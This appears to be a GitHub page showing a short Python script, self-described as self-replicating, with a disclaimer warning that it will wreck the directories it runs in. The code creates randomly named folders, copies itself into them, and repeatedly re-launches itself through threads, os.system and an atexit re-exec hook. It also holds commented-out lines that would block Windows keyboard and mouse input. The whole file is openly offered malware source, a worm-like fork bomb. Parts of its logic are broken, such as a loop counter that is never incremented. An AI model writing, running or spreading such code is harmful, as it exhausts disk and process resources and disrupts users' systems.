-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
48 lines (38 loc) · 1.15 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'''
<DISCLAIMER>
THIS CODE REPLICATES ITSELF AND WILL CREATE NEW DIRECTORIES
PLEASE MIND THAT THIS WOULD FUCK UP YOUR DIRECTORIES, INCLUDING FILES AND FOLDERS
***DO NOT RUN THIS FILE IN ANY IMPORTANT DIRECTORIES***
self-replicating python file - Replicada by archisha69
'''
import os, shutil, random, string, sys, atexit, threading
#from ctypes import windll
def _atexit():
os.execv(sys.argv[0], sys.argv)
def subrun():
os.system(f"python {sys.argv[0]}")
def cp(dest):
shutil.copy(f"{cwd}/{sys.argv[0]}", dest)
def crossdir():
while count < 8: #layers
subrun()
for qwerty in os.listdir(name):
cp(qwerty)
os.chdir(qwerty)
subrun()
atexit.register(_atexit)
cwd = os.getcwd()
count = 0
while count < 100:
#while True:
#for i in range(150):
# keyboard.block_key(i)
#windll.user32.BlockInput(True) #fuck wi
name = ''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(2, 32)))
os.mkdir(name)
os.chdir(name)
shutil.copy(f"../{sys.argv[0]}", os.getcwd())
t = threading.Thread(target=crossdir)
t.start()
os.chdir(cwd)
count += 1